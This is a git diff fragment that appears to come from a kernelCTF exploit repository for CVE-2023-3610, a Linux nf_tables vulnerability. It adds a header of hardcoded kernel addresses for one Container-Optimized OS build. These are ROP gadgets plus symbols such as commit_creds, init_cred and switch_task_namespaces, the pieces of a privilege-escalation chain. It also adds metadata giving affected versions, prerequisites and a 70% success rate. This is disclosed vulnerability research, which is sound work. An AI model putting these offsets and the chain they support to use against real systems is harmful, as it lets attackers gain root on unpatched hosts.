b/pocs/linux/kernelctf/CVE-2023-3610_cos/exploit/cos-105-17412.101.42/kernelver_17412.101.42.h new file mode 100644 index 000000000..3633308a0 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-3610_cos/exploit/cos-105-17412.101.42/kernelver_17412.101.42.h @@ -0,0 +1,25 @@ +#define COPY_USER_GENERIC_STRING 0xffffffff817df390 +#define PUSH_RSI_JMP_QWORD_RSI_0F 0xffffffff81d2b7e8 +#define PUSH_RSI_JMP_QWORD_RSI_039 0xffffffff818a940b +#define FIND_TASK_BY_VPID 0xffffffff81106810 +#define POP_RCX 0xffffffff81028e2c +#define SWITCH_TASK_NAMESPACES 0xffffffff8110e020 +#define PUSH_RAX_JMP_QWORD_RCX 0xffffffff81244571 +#define POP_RSI_RDI 0xffffffff81976bf1 +#define POP_RDX_RDI 0xffffffff817cab7b +#define AUDIT_SYSCALL_EXIT 0xffffffff811b5320 +#define RETURN_VIA_SYSRET 0xffffffff8200018e +#define MEMCPY 0xffffffff81fcb6f0 +#define COMMIT_CREDS 0xffffffff8110f8e0 +#define POP_RSI 0xffffffff81f9e90e +#define POP_RSP 0xffffffff8105fb40 +#define POP_R11_R10_R9_R8_RDI_RSI_RDX_RCX 0xffffffff81028e21 +#define POP_RDI 0xffffffff810d12ec +#define POP_RDX 0xffffffff810654bd +#define RW_BUFFER 0xffffffff83500000 +#define INIT_CRED 0xffffffff83262120 +#define INIT_NSPROXY 0xffffffff83261ee0 +#define WARNCOMM 0xffffffff83e3a770 +#define OOPS_IN_PROGRESS 0xffffffff83d705b8 +#define NFT_OBJNAME_HT 0xffffffff83e2de60 +#define MOV_RDI_RAX 0xffffffff8118fd7d diff --git a/pocs/linux/kernelctf/CVE-2023-3610_cos/metadata.json b/pocs/linux/kernelctf/CVE-2023-3610_cos/metadata.json new file mode 100644 index 000000000..cc0637dc6 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-3610_cos/metadata.json @@ -0,0 +1,33 @@ +{ + "$schema": "https://google.github.io/security-research/kernelctf/metadata.schema.v3.json", + "submission_ids": [ + "exp71" + ], + "vulnerability": { + "patch_commit": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?h=4bedf9eee016286c835e3d8fa981ddece5338795", + "cve": "CVE-2023-3610", + "affected_versions": [ + "5.9 - 5.15.118" + ], + "requirements": { + "attack_surface": [ + "userns" + ], + "capabilities": [ + "CAP_NET_ADMIN" + ], + "kernel_config": [ + "CONFIG_NF_TABLES" + ] + } + }, + "exploits": { + "cos-105-17412.101.42": { + "uses": [ + "userns" + ], + "requires_separate_kaslr_leak": true, + "stability_notes": "70% success rate" + } + } +} diff --git a/pocs/linux/kernelctf/CVE-2023-3610_cos/original.tar.gz b/pocs/linux/kernelctf/CVE-2023-3610_cos/original.tar.gz new file mode 100644 index 000000000..02f890e83 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2023-3610_cos/original.tar.gz differ